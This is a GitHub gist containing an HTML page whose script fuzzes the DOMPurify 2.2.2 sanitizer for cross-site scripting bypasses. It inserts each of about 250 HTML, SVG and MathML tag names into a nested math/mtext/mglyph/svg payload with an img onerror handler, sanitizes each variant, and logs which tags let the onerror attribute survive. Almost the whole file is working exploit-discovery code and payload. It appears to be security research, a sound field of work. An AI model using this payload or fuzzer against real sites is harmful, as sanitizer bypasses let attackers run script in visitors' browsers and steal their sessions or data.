-
-
Save WhiteBearVN/7ae3d4aa188b35198bb85da325327143 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]--> | |
<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]--> | |
<!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]--> | |
<!--[if gt IE 8]> <html class="no-js"> <!--<![endif]--> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<title></title> | |
<meta name="description" content=""> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<link rel="stylesheet" href=""> | |
</head> | |
<body> | |
<!--[if lt IE 7]> | |
<p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="#">upgrade your browser</a> to improve your experience.</p> | |
<![endif]--> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.2.2/purify.min.js"></script> | |
<script> | |
window.onload = () => { | |
const allElements = [ | |
'a', | |
'abbr', | |
'acronym', | |
'address', | |
'area', | |
'article', | |
'aside', | |
'audio', | |
'b', | |
'bdi', | |
'bdo', | |
'big', | |
'blink', | |
'blockquote', | |
'body', | |
'br', | |
'button', | |
'canvas', | |
'caption', | |
'center', | |
'cite', | |
'code', | |
'col', | |
'colgroup', | |
'content', | |
'data', | |
'datalist', | |
'dd', | |
'decorator', | |
'del', | |
'details', | |
'dfn', | |
'dialog', | |
'dir', | |
'div', | |
'dl', | |
'dt', | |
'element', | |
'em', | |
'fieldset', | |
'figcaption', | |
'figure', | |
'font', | |
'footer', | |
'form', | |
'h1', | |
'h2', | |
'h3', | |
'h4', | |
'h5', | |
'h6', | |
'head', | |
'header', | |
'hgroup', | |
'hr', | |
'html', | |
'i', | |
'img', | |
'input', | |
'ins', | |
'kbd', | |
'label', | |
'legend', | |
'li', | |
'main', | |
'map', | |
'mark', | |
'marquee', | |
'menu', | |
'menuitem', | |
'meter', | |
'nav', | |
'nobr', | |
'ol', | |
'optgroup', | |
'option', | |
'output', | |
'p', | |
'picture', | |
'pre', | |
'progress', | |
'q', | |
'rp', | |
'rt', | |
'ruby', | |
's', | |
'samp', | |
'section', | |
'select', | |
'shadow', | |
'small', | |
'source', | |
'spacer', | |
'span', | |
'strike', | |
'strong', | |
'style', | |
'sub', | |
'summary', | |
'sup', | |
'table', | |
'tbody', | |
'td', | |
'template', | |
'textarea', | |
'tfoot', | |
'th', | |
'thead', | |
'time', | |
'tr', | |
'track', | |
'tt', | |
'u', | |
'ul', | |
'var', | |
'video', | |
'wbr', | |
'svg', | |
'a', | |
'altglyph', | |
'altglyphdef', | |
'altglyphitem', | |
'animatecolor', | |
'animatemotion', | |
'animatetransform', | |
'circle', | |
'clippath', | |
'defs', | |
'desc', | |
'ellipse', | |
'filter', | |
'font', | |
'g', | |
'glyph', | |
'glyphref', | |
'hkern', | |
'image', | |
'line', | |
'lineargradient', | |
'marker', | |
'mask', | |
'metadata', | |
'mpath', | |
'path', | |
'pattern', | |
'polygon', | |
'polyline', | |
'radialgradient', | |
'rect', | |
'stop', | |
'style', | |
'switch', | |
'symbol', | |
'text', | |
'textpath', | |
'title', | |
'tref', | |
'tspan', | |
'view', | |
'vkern', | |
'feBlend', | |
'feColorMatrix', | |
'feComponentTransfer', | |
'feComposite', | |
'feConvolveMatrix', | |
'feDiffuseLighting', | |
'feDisplacementMap', | |
'feDistantLight', | |
'feFlood', | |
'feFuncA', | |
'feFuncB', | |
'feFuncG', | |
'feFuncR', | |
'feGaussianBlur', | |
'feImage', | |
'feMerge', | |
'feMergeNode', | |
'feMorphology', | |
'feOffset', | |
'fePointLight', | |
'feSpecularLighting', | |
'feSpotLight', | |
'feTile', | |
'feTurbulence', | |
'animate', | |
'color-profile', | |
'cursor', | |
'discard', | |
'fedropshadow', | |
'font-face', | |
'font-face-format', | |
'font-face-name', | |
'font-face-src', | |
'font-face-uri', | |
'foreignobject', | |
'hatch', | |
'hatchpath', | |
'mesh', | |
'meshgradient', | |
'meshpatch', | |
'meshrow', | |
'missing-glyph', | |
'script', | |
'set', | |
'solidcolor', | |
'unknown', | |
'use', | |
'math', | |
'menclose', | |
'merror', | |
'mfenced', | |
'mfrac', | |
'mglyph', | |
'mi', | |
'mlabeledtr', | |
'mmultiscripts', | |
'mn', | |
'mo', | |
'mover', | |
'mpadded', | |
'mphantom', | |
'mroot', | |
'mrow', | |
'ms', | |
'mspace', | |
'msqrt', | |
'mstyle', | |
'msub', | |
'msup', | |
'msubsup', | |
'mtable', | |
'mtd', | |
'mtext', | |
'mtr', | |
'munder', | |
'munderover', | |
'maction', | |
'maligngroup', | |
'malignmark', | |
'mlongdiv', | |
'mscarries', | |
'mscarry', | |
'msgroup', | |
'mstack', | |
'msline', | |
'msrow', | |
'semantics', | |
'annotation', | |
'annotation-xml', | |
'mprescripts', | |
'none', | |
]; | |
const payload = `<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">`; | |
const domParser = new DOMParser(); | |
allElements.forEach(element => { | |
let newPayload = payload.replace("<style>", `<${element}>`).replace("</style>", `</${element}>`); | |
const sanitized = DOMPurify.sanitize(newPayload, { | |
ADD_ATTR: ["target"], | |
FORBID_TAGS: ["style"] | |
}); | |
const parsedDOM = domParser.parseFromString(sanitized, 'text/html'); | |
parsedDOM.querySelectorAll(`img`).forEach(img => { | |
if(img.attributes["onerror"]) { | |
console.log(`Found bypass: ${element}`); | |
} | |
}); | |
}); | |
}; | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment